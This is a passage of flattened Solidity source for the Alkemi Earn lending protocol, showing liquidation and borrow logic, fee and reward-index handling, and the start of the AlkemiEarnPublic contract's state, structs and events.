closeBorrowAmount_TargetUnderwaterAsset // which in turn limits seizeSupplyAmount_TargetCollateralAsset. revertIfError(err); // We checkpoint the liquidating user's assetCollateral supply balance, supplyCurrent + seizeSupplyAmount_TargetCollateralAsset at the updated index ( err, localResults.updatedSupplyBalance_LiquidatorCollateralAsset ) = add( localResults.currentSupplyBalance_LiquidatorCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset ); // We can't overflow here because if this would overflow, then we would have already overflowed above and failed // with LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET revertIfError(err); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save borrow market updates borrowMarket.blockNumber = block.number; borrowMarket.totalBorrows = localResults .newTotalBorrows_ProtocolUnderwaterAsset; // borrowMarket.totalSupply does not need to be updated borrowMarket.supplyRateMantissa = localResults .newSupplyRateMantissa_ProtocolUnderwaterAsset; borrowMarket.supplyIndex = localResults.newSupplyIndex_UnderwaterAsset; borrowMarket.borrowRateMantissa = localResults .newBorrowRateMantissa_ProtocolUnderwaterAsset; borrowMarket.borrowIndex = localResults.newBorrowIndex_UnderwaterAsset; // Save collateral market updates // We didn't calculate new rates for collateralMarket (because neither cash nor borrows changed), just new indexes and total supply. collateralMarket.blockNumber = block.number; collateralMarket.totalSupply = localResults .newTotalSupply_ProtocolCollateralAsset; collateralMarket.supplyIndex = localResults .newSupplyIndex_CollateralAsset; collateralMarket.borrowIndex = localResults .newBorrowIndex_CollateralAsset; // Save user updates localResults .startingBorrowBalance_TargetUnderwaterAsset = borrowBalance_TargeUnderwaterAsset .principal; // save for use in event borrowBalance_TargeUnderwaterAsset.principal = localResults .updatedBorrowBalance_TargetUnderwaterAsset; borrowBalance_TargeUnderwaterAsset.interestIndex = localResults .newBorrowIndex_UnderwaterAsset; localResults .startingSupplyBalance_TargetCollateralAsset = supplyBalance_TargetCollateralAsset .principal; // save for use in event supplyBalance_TargetCollateralAsset.principal = localResults .updatedSupplyBalance_TargetCollateralAsset; supplyBalance_TargetCollateralAsset.interestIndex = localResults .newSupplyIndex_CollateralAsset; localResults .startingSupplyBalance_LiquidatorCollateralAsset = supplyBalance_LiquidatorCollateralAsset .principal; // save for use in event supplyBalance_LiquidatorCollateralAsset.principal = localResults .updatedSupplyBalance_LiquidatorCollateralAsset; supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults .newSupplyIndex_CollateralAsset; // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) if (assetBorrow != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically revertEtherToUser(msg.sender, msg.value); err = doTransferIn( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_FAILED); } } else { if (msg.value == requestedAmountClose) { uint256 supplyError = supplyEther( localResults.closeBorrowAmount_TargetUnderwaterAsset ); //Repay excess funds if (localResults.reimburseAmount > 0) { revertEtherToUser( localResults.liquidator, localResults.reimburseAmount ); } if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } supplyOriginationFeeAsAdmin( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset, localResults.newSupplyIndex_UnderwaterAsset ); emit BorrowLiquidated( localResults.targetAccount, localResults.assetBorrow, localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset, localResults.liquidator, localResults.assetCollateral, localResults.seizeSupplyAmount_TargetCollateralAsset ); return uint256(Error.NO_ERROR); // success } /** * @dev This should ONLY be called if market is supported. It returns shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)] * If the market isn't supported, we support liquidation of asset regardless of shortfall because we want borrows of the unsupported asset to be closed. * Note that if collateralRatio = liquidationDiscount + 1, then the denominator will be zero and the function will fail with DIVISION_BY_ZERO. * @return Return values are expressed in 1e18 scale */ function calculateDiscountedRepayToEvenAmount( address targetAccount, Exp memory underwaterAssetPrice, address assetBorrow ) internal view returns (Error, uint256) { Error err; Exp memory _accountLiquidity; // unused return value from calculateAccountLiquidity Exp memory accountShortfall_TargetUser; Exp memory collateralRatioMinusLiquidationDiscount; // collateralRatio - liquidationDiscount Exp memory discountedCollateralRatioMinusOne; // collateralRatioMinusLiquidationDiscount - 1, aka collateralRatio - liquidationDiscount - 1 Exp memory discountedPrice_UnderwaterAsset; Exp memory rawResult; // we calculate the target user's shortfall, denominated in Ether, that the user is below the collateral ratio ( err, _accountLiquidity, accountShortfall_TargetUser ) = calculateAccountLiquidity(targetAccount); if (err != Error.NO_ERROR) { return (err, 0); } (err, collateralRatioMinusLiquidationDiscount) = subExp( collateralRatio, liquidationDiscount ); if (err != Error.NO_ERROR) { return (err, 0); } (err, discountedCollateralRatioMinusOne) = subExp( collateralRatioMinusLiquidationDiscount, Exp({mantissa: mantissaOne}) ); if (err != Error.NO_ERROR) { return (err, 0); } (err, discountedPrice_UnderwaterAsset) = mulExp( underwaterAssetPrice, discountedCollateralRatioMinusOne ); // calculateAccountLiquidity multiplies underwaterAssetPrice by collateralRatio // discountedCollateralRatioMinusOne < collateralRatio // so if underwaterAssetPrice * collateralRatio did not overflow then // underwaterAssetPrice * discountedCollateralRatioMinusOne can't overflow either revertIfError(err); /* The liquidator may not repay more than what is allowed by the closeFactor */ uint256 borrowBalance = getBorrowBalance(targetAccount, assetBorrow); Exp memory maxClose; (err, maxClose) = mulScalar( Exp({mantissa: closeFactorMantissa}), borrowBalance ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp(maxClose, discountedPrice_UnderwaterAsset); // It's theoretically possible an asset could have such a low price that it truncates to zero when discounted. if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @dev discountedBorrowDenominatedCollateral = [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) * @return Return values are expressed in 1e18 scale */ function calculateDiscountedBorrowDenominatedCollateral( Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint256 supplyCurrent_TargetCollateralAsset ) internal view returns (Error, uint256) { // To avoid rounding issues, we re-order and group the operations so we do 1 division and only at the end // [supplyCurrent * (Oracle price for the collateral)] / [ (1 + liquidationDiscount) * (Oracle price for the borrow) ] Error err; Exp memory onePlusLiquidationDiscount; // (1 + liquidationDiscount) Exp memory supplyCurrentTimesOracleCollateral; // supplyCurrent * Oracle price for the collateral Exp memory onePlusLiquidationDiscountTimesOracleBorrow; // (1 + liquidationDiscount) * Oracle price for the borrow Exp memory rawResult; (err, onePlusLiquidationDiscount) = addExp( Exp({mantissa: mantissaOne}), liquidationDiscount ); if (err != Error.NO_ERROR) { return (err, 0); } (err, supplyCurrentTimesOracleCollateral) = mulScalar( collateralPrice, supplyCurrent_TargetCollateralAsset ); if (err != Error.NO_ERROR) { return (err, 0); } (err, onePlusLiquidationDiscountTimesOracleBorrow) = mulExp( onePlusLiquidationDiscount, underwaterAssetPrice ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp( supplyCurrentTimesOracleCollateral, onePlusLiquidationDiscountTimesOracleBorrow ); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @dev returns closeBorrowAmount_TargetUnderwaterAsset * (1+liquidationDiscount) * priceBorrow/priceCollateral * @return Return values are expressed in 1e18 scale */ function calculateAmountSeize( Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint256 closeBorrowAmount_TargetUnderwaterAsset ) internal view returns (Error, uint256) { // To avoid rounding issues, we re-order and group the operations to move the division to the end, rather than just taking the ratio of the 2 prices: // underwaterAssetPrice * (1+liquidationDiscount) *closeBorrowAmount_TargetUnderwaterAsset) / collateralPrice // re-used for all intermediate errors Error err; // (1+liquidationDiscount) Exp memory liquidationMultiplier; // assetPrice-of-underwaterAsset * (1+liquidationDiscount) Exp memory priceUnderwaterAssetTimesLiquidationMultiplier; // priceUnderwaterAssetTimesLiquidationMultiplier * closeBorrowAmount_TargetUnderwaterAsset // or, expanded: // underwaterAssetPrice * (1+liquidationDiscount) * closeBorrowAmount_TargetUnderwaterAsset Exp memory finalNumerator; // finalNumerator / priceCollateral Exp memory rawResult; (err, liquidationMultiplier) = addExp( Exp({mantissa: mantissaOne}), liquidationDiscount ); // liquidation discount will be enforced < 1, so 1 + liquidationDiscount can't overflow. revertIfError(err); (err, priceUnderwaterAssetTimesLiquidationMultiplier) = mulExp( underwaterAssetPrice, liquidationMultiplier ); if (err != Error.NO_ERROR) { return (err, 0); } (err, finalNumerator) = mulScalar( priceUnderwaterAssetTimesLiquidationMultiplier, closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp(finalNumerator, collateralPrice); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @notice Users borrow assets from the protocol to their own address * @param asset The market asset to borrow * @param amount The amount to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(address asset, uint256 amount) public nonReentrant onlyCustomerWithKYC returns (uint256) { if (paused) { return fail(Error.CONTRACT_PAUSED, FailureInfo.BORROW_CONTRACT_PAUSED); } refreshAlkIndex(asset, msg.sender, false, true); BorrowLocalVars memory localResults; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[msg.sender][asset]; Error err; uint256 rateCalculationResultCode; // Fail if market not supported if (!market.isSupported) { return fail( Error.MARKET_NOT_SUPPORTED, FailureInfo.BORROW_MARKET_NOT_SUPPORTED ); } // We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } // Calculate origination fee. (err, localResults.borrowAmountWithFee) = calculateBorrowAmountWithFee( amount ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ORIGINATION_FEE_CALCULATION_FAILED ); } uint256 orgFeeBalance = localResults.borrowAmountWithFee - amount; // Add the `borrowAmountWithFee` to the `userBorrowCurrent` to get `userBorrowUpdated` (err, localResults.userBorrowUpdated) = add( localResults.userBorrowCurrent, localResults.borrowAmountWithFee ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow with fee (err, localResults.newTotalBorrows) = addThenSub( market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED ); } // Check customer liquidity ( err, localResults.accountLiquidity, localResults.accountShortfall ) = calculateAccountLiquidity(msg.sender); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED ); } // Fail if customer already has a shortfall if (!isZeroExp(localResults.accountShortfall)) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_ACCOUNT_SHORTFALL_PRESENT ); } // Would the customer have a shortfall after this borrow (including origination fee)? // We calculate the eth-equivalent value of (borrow amount + fee) of asset and fail if it exceeds accountLiquidity. // This implements: `[(collateralRatio*oraclea*borrowAmount)*(1+borrowFee)] > accountLiquidity` ( err, localResults.ethValueOfBorrowAmountWithFee ) = getPriceForAssetAmount( asset, localResults.borrowAmountWithFee, true ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.BORROW_AMOUNT_VALUE_CALCULATION_FAILED); } if ( lessThanExp( localResults.accountLiquidity, localResults.ethValueOfBorrowAmountWithFee ) ) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_AMOUNT_LIQUIDITY_SHORTFALL ); } // Fail gracefully if protocol has insufficient cash localResults.currentCash = getCash(asset); // We need to calculate what the updated cash will be after we transfer out to the user (err, localResults.updatedCash) = sub(localResults.currentCash, amount); if (err != Error.NO_ERROR) { // Note: we ignore error here and call this token insufficient cash return fail( Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. // We calculate the newSupplyIndex, but we have newBorrowIndex already (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalBorrows = localResults.newTotalBorrows; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowTaken` event borrowBalance.principal = localResults.userBorrowUpdated; borrowBalance.interestIndex = localResults.newBorrowIndex; originationFeeBalance[msg.sender][asset] += orgFeeBalance; if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) err = doTransferOut(asset, msg.sender, amount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.BORROW_TRANSFER_OUT_FAILED); } } else { withdrawEther(msg.sender, amount); // send Ether to user } emit BorrowTaken( msg.sender, asset, amount, localResults.startingBalance, localResults.borrowAmountWithFee, borrowBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice supply `amount` of `asset` (which must be supported) to `admin` in the protocol * @dev add amount of supported asset to admin's account * @param asset The market asset to supply * @param amount The amount to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function supplyOriginationFeeAsAdmin( address asset, address user, uint256 amount, uint256 newSupplyIndex ) private { refreshAlkIndex(asset, admin, true, true); uint256 originationFeeRepaid = 0; if (originationFeeBalance[user][asset] != 0) { if (amount < originationFeeBalance[user][asset]) { originationFeeRepaid = amount; } else { originationFeeRepaid = originationFeeBalance[user][asset]; } Balance storage balance = supplyBalances[admin][asset]; SupplyLocalVars memory localResults; // Holds all our uint calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). originationFeeBalance[user][asset] -= originationFeeRepaid; (err, localResults.userSupplyCurrent) = calculateBalance( balance.principal, balance.interestIndex, newSupplyIndex ); revertIfError(err); (err, localResults.userSupplyUpdated) = add( localResults.userSupplyCurrent, originationFeeRepaid ); revertIfError(err); // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply (err, localResults.newTotalSupply) = addThenSub( markets[asset].totalSupply, localResults.userSupplyUpdated, balance.principal ); revertIfError(err); // Save market updates markets[asset].totalSupply = localResults.newTotalSupply; // Save user updates localResults.startingBalance = balance.principal; balance.principal = localResults.userSupplyUpdated; balance.interestIndex = newSupplyIndex; emit SupplyReceived( admin, asset, originationFeeRepaid, localResults.startingBalance, localResults.userSupplyUpdated ); } } /** * @notice Trigger the underlying Reward Control contract to accrue ALK supply rewards for the supplier on the specified market * @param market The address of the market to accrue rewards * @param user The address of the supplier/borrower to accrue rewards * @param isSupply Specifies if Supply or Borrow Index need to be updated * @param isVerified Verified / Public protocol */ function refreshAlkIndex( address market, address user, bool isSupply, bool isVerified ) internal { if (address(rewardControl) == address(0)) { return; } if (isSupply) { rewardControl.refreshAlkSupplyIndex(market, user, isVerified); } else { rewardControl.refreshAlkBorrowIndex(market, user, isVerified); } } /** * @notice Get supply and borrows for a market * @param asset The market asset to find balances of * @return updated supply and borrows */ function getMarketBalances(address asset) public view returns (uint256, uint256) { Error err; uint256 newSupplyIndex; uint256 marketSupplyCurrent; uint256 newBorrowIndex; uint256 marketBorrowCurrent; Market storage market = markets[asset]; // Calculate the newSupplyIndex, needed to calculate market's supplyCurrent (err, newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newSupplyIndex and stored principal to calculate the accumulated balance (err, marketSupplyCurrent) = calculateBalance( market.totalSupply, market.supplyIndex, newSupplyIndex ); revertIfError(err); // Calculate the newBorrowIndex, needed to calculate market's borrowCurrent (err, newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newBorrowIndex and stored principal to calculate the accumulated balance (err, marketBorrowCurrent) = calculateBalance( market.totalBorrows, market.borrowIndex, newBorrowIndex ); revertIfError(err); return (marketSupplyCurrent, marketBorrowCurrent); } /** * @dev Function to revert in case of an internal exception */ function revertIfError(Error err) internal pure { require( err == Error.NO_ERROR, "Function revert due to internal exception" ); } } // File: contracts/AlkemiEarnPublic.sol pragma solidity 0.4.24; contract AlkemiEarnPublic is Exponential, SafeToken { uint256 internal initialInterestIndex; uint256 internal defaultOriginationFee; uint256 internal defaultCollateralRatio; uint256 internal defaultLiquidationDiscount; // minimumCollateralRatioMantissa and maximumLiquidationDiscountMantissa cannot be declared as constants due to upgradeability // Values cannot be assigned directly as OpenZeppelin upgrades do not support the same // Values can only be assigned using initializer() below // However, there is no way to change the below values using any functions and hence they act as constants uint256 public minimumCollateralRatioMantissa; uint256 public maximumLiquidationDiscountMantissa; bool private initializationDone; // To make sure initializer is called only once /** * @notice `AlkemiEarnPublic` is the core contract * @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies * @notice Hence this contract has an 'initializer' in place of a 'constructor' * @notice Make sure to add new global variables only at the bottom of all the existing global variables i.e., line #344 * @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade */ function initializer() public { if (initializationDone == false) { initializationDone = true; admin = msg.sender; initialInterestIndex = 10**18; defaultOriginationFee = (10**15); // default is 0.1% defaultCollateralRatio = 125 * (10**16); // default is 125% or 1.25 defaultLiquidationDiscount = (10**17); // default is 10% or 0.1 minimumCollateralRatioMantissa = 11 * (10**17); // 1.1 maximumLiquidationDiscountMantissa = (10**17); // 0.1 collateralRatio = Exp({mantissa: defaultCollateralRatio}); originationFee = Exp({mantissa: defaultOriginationFee}); liquidationDiscount = Exp({mantissa: defaultLiquidationDiscount}); _guardCounter = 1; // oracle must be configured via _adminFunctions } } /** * @notice Do not pay directly into AlkemiEarnPublic, please use `supply`. */ function() public payable { revert(); } /** * @dev pending Administrator for this contract. */ address public pendingAdmin; /** * @dev Administrator for this contract. Initially set in constructor, but can * be changed by the admin itself. */ address public admin; /** * @dev Managers for this contract with limited permissions. Can * be changed by the admin. * Though unused, the below variable cannot be deleted as it will hinder upgradeability * Will be cleared during the next compiler version upgrade */ mapping(address => bool) public managers; /** * @dev Account allowed to set oracle prices for this contract. Initially set * in constructor, but can be changed by the admin. */ address private oracle; /** * @dev Account allowed to fetch chainlink oracle prices for this contract. Can be changed by the admin. */ ChainLink public priceOracle; /** * @dev Container for customer balance information written to storage. * * struct Balance { * principal = customer total balance with accrued interest after applying the customer's most recent balance-changing action * interestIndex = Checkpoint for interest calculation after the customer's most recent balance-changing action * } */ struct Balance { uint256 principal; uint256 interestIndex; } /** * @dev 2-level map: customerAddress -> assetAddress -> balance for supplies */ mapping(address => mapping(address => Balance)) public supplyBalances; /** * @dev 2-level map: customerAddress -> assetAddress -> balance for borrows */ mapping(address => mapping(address => Balance)) public borrowBalances; /** * @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key * * struct Market { * isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets) * blockNumber = when the other values in this struct were calculated * interestRateModel = Interest Rate model, which calculates supply interest rate and borrow interest rate based on Utilization, used for the asset * totalSupply = total amount of this asset supplied (in asset wei) * supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18 * supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket * totalBorrows = total amount of this asset borrowed (in asset wei) * borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18 * borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket * } */ struct Market { bool isSupported; uint256 blockNumber; InterestRateModel interestRateModel; uint256 totalSupply; uint256 supplyRateMantissa; uint256 supplyIndex; uint256 totalBorrows; uint256 borrowRateMantissa; uint256 borrowIndex; } /** * @dev wethAddress to hold the WETH token contract address * set using setWethAddress function */ address private wethAddress; /** * @dev Initiates the contract for supply and withdraw Ether and conversion to WETH */ AlkemiWETH public WETHContract; /** * @dev map: assetAddress -> Market */ mapping(address => Market) public markets; /** * @dev list: collateralMarkets */ address[] public collateralMarkets; /** * @dev The collateral ratio that borrows must maintain (e.g. 2 implies 2:1). This * is initially set in the constructor, but can be changed by the admin. */ Exp public collateralRatio; /** * @dev originationFee for new borrows. * */ Exp public originationFee; /** * @dev liquidationDiscount for collateral when liquidating borrows * */ Exp public liquidationDiscount; /** * @dev flag for whether or not contract is paused * */ bool public paused; /** * The `SupplyLocalVars` struct is used internally in the `supply` function. * * To avoid solidity limits on the number of local variables we: * 1. Use a struct to hold local computation localResults * 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults * requires either both to be declared inline or both to be previously declared. * 3. Re-use a boolean error-like return variable. */ struct SupplyLocalVars { uint256 startingBalance; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 userSupplyUpdated; uint256 newTotalSupply; uint256 currentCash; uint256 updatedCash; uint256 newSupplyRateMantissa; uint256 newBorrowIndex; uint256 newBorrowRateMantissa; } /** * The `WithdrawLocalVars` struct is used internally in the `withdraw` function. * * To avoid solidity limits on the number of local variables we: * 1. Use a struct to hold local computation localResults * 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults * requires either both to be declared inline or both to be previously declared. * 3. Re-use a boolean error-like return variable. */ struct WithdrawLocalVars { uint256 withdrawAmount; uint256 startingBalance; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 userSupplyUpdated; uint256 newTotalSupply; uint256 currentCash; uint256 updatedCash; uint256 newSupplyRateMantissa; uint256 newBorrowIndex; uint256 newBorrowRateMantissa; uint256 withdrawCapacity; Exp accountLiquidity; Exp accountShortfall; Exp ethValueOfWithdrawal; } // The `AccountValueLocalVars` struct is used internally in the `CalculateAccountValuesInternal` function. struct AccountValueLocalVars { address assetAddress; uint256 collateralMarketsLength; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 newBorrowIndex; uint256 userBorrowCurrent; Exp supplyTotalValue; Exp sumSupplies; Exp borrowTotalValue; Exp sumBorrows; } // The `PayBorrowLocalVars` struct is used internally in the `repayBorrow` function. struct PayBorrowLocalVars { uint256 newBorrowIndex; uint256 userBorrowCurrent; uint256 repayAmount; uint256 userBorrowUpdated; uint256 newTotalBorrows; uint256 currentCash; uint256 updatedCash; uint256 newSupplyIndex; uint256 newSupplyRateMantissa; uint256 newBorrowRateMantissa; uint256 startingBalance; } // The `BorrowLocalVars` struct is used internally in the `borrow` function. struct BorrowLocalVars { uint256 newBorrowIndex; uint256 userBorrowCurrent; uint256 borrowAmountWithFee; uint256 userBorrowUpdated; uint256 newTotalBorrows; uint256 currentCash; uint256 updatedCash; uint256 newSupplyIndex; uint256 newSupplyRateMantissa; uint256 newBorrowRateMantissa; uint256 startingBalance; Exp accountLiquidity; Exp accountShortfall; Exp ethValueOfBorrowAmountWithFee; } // The `LiquidateLocalVars` struct is used internally in the `liquidateBorrow` function. struct LiquidateLocalVars { // we need these addresses in the struct for use with `emitLiquidationEvent` to avoid `CompilerError: Stack too deep, try removing local variables.` address targetAccount; address assetBorrow; address liquidator; address assetCollateral; // borrow index and supply index are global to the asset, not specific to the user uint256 newBorrowIndex_UnderwaterAsset; uint256 newSupplyIndex_UnderwaterAsset; uint256 newBorrowIndex_CollateralAsset; uint256 newSupplyIndex_CollateralAsset; // the target borrow's full balance with accumulated interest uint256 currentBorrowBalance_TargetUnderwaterAsset; // currentBorrowBalance_TargetUnderwaterAsset minus whatever gets repaid as part of the liquidation uint256 updatedBorrowBalance_TargetUnderwaterAsset; uint256 newTotalBorrows_ProtocolUnderwaterAsset; uint256 startingBorrowBalance_TargetUnderwaterAsset; uint256 startingSupplyBalance_TargetCollateralAsset; uint256 startingSupplyBalance_LiquidatorCollateralAsset; uint256 currentSupplyBalance_TargetCollateralAsset; uint256 updatedSupplyBalance_TargetCollateralAsset; // If liquidator already has a balance of collateralAsset, we will accumulate // interest on it before transferring seized collateral from the borrower. uint256 currentSupplyBalance_LiquidatorCollateralAsset; // This will be the liquidator's accumulated balance of collateral asset before the liquidation (if any) // plus the amount seized from the borrower. uint256 updatedSupplyBalance_LiquidatorCollateralAsset; uint256 newTotalSupply_ProtocolCollateralAsset; uint256 currentCash_ProtocolUnderwaterAsset; uint256 updatedCash_ProtocolUnderwaterAsset; // cash does not change for collateral asset uint256 newSupplyRateMantissa_ProtocolUnderwaterAsset; uint256 newBorrowRateMantissa_ProtocolUnderwaterAsset; // Why no variables for the interest rates for the collateral asset? // We don't need to calculate new rates for the collateral asset since neither cash nor borrows change uint256 discountedRepayToEvenAmount; //[supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) (discountedBorrowDenominatedCollateral) uint256 discountedBorrowDenominatedCollateral; uint256 maxCloseableBorrowAmount_TargetUnderwaterAsset; uint256 closeBorrowAmount_TargetUnderwaterAsset; uint256 seizeSupplyAmount_TargetCollateralAsset; uint256 reimburseAmount; Exp collateralPrice; Exp underwaterAssetPrice; } /** * @dev 2-level map: customerAddress -> assetAddress -> originationFeeBalance for borrows */ mapping(address => mapping(address => uint256)) public originationFeeBalance; /** * @dev Reward Control Contract address */ RewardControlInterface public rewardControl; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint256 public closeFactorMantissa; /// @dev _guardCounter and nonReentrant modifier extracted from Open Zeppelin's reEntrancyGuard /// @dev counter to allow mutex lock with only one SSTORE operation uint256 public _guardCounter; /** * @dev Prevents a contract from calling itself, directly or indirectly. * If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one `nonReentrant` function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and an `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } /** * @dev emitted when a supply is received * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event SupplyReceived( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a origination fee supply is received as admin * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event SupplyOrgFeeAsAdmin( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a supply is withdrawn * Note: startingBalance - amount - startingBalance = interest accumulated since last change */ event SupplyWithdrawn( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a new borrow is taken * Note: newBalance - borrowAmountWithFee - startingBalance = interest accumulated since last change */ event BorrowTaken( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 borrowAmountWithFee, uint256 newBalance ); /** * @dev emitted when a borrow is repaid * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event BorrowRepaid( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a borrow is liquidated * targetAccount = user whose borrow was liquidated * assetBorrow = asset borrowed * borrowBalanceBefore = borrowBalance as most recently stored before the liquidation * borrowBalanceAccumulated = borroBalanceBefore + accumulated interest as of immediately prior to the liquidation * amountRepaid = amount of borrow repaid * liquidator = account requesting the liquidation * assetCollateral = asset taken from targetUser and given to liquidator in exchange for liquidated loan * borrowBalanceAfter = new stored borrow balance (should equal borrowBalanceAccumulated - amountRepaid) * collateralBalanceBefore = collateral balance as most recently stored before the liquidation * collateralBalanceAccumulated = collateralBalanceBefore + accumulated interest as of immediately prior to the liquidation * amountSeized = amount of collateral seized by liquidator * collateralBalanceAfter = new stored collateral balance (should equal collateralBalanceAccumulated - amountSeized) * assetBorrow and assetCollateral are not indexed as indexed addresses in an event is limited to 3 */ event BorrowLiquidated( address indexed targetAccount, address assetBorrow, uint256 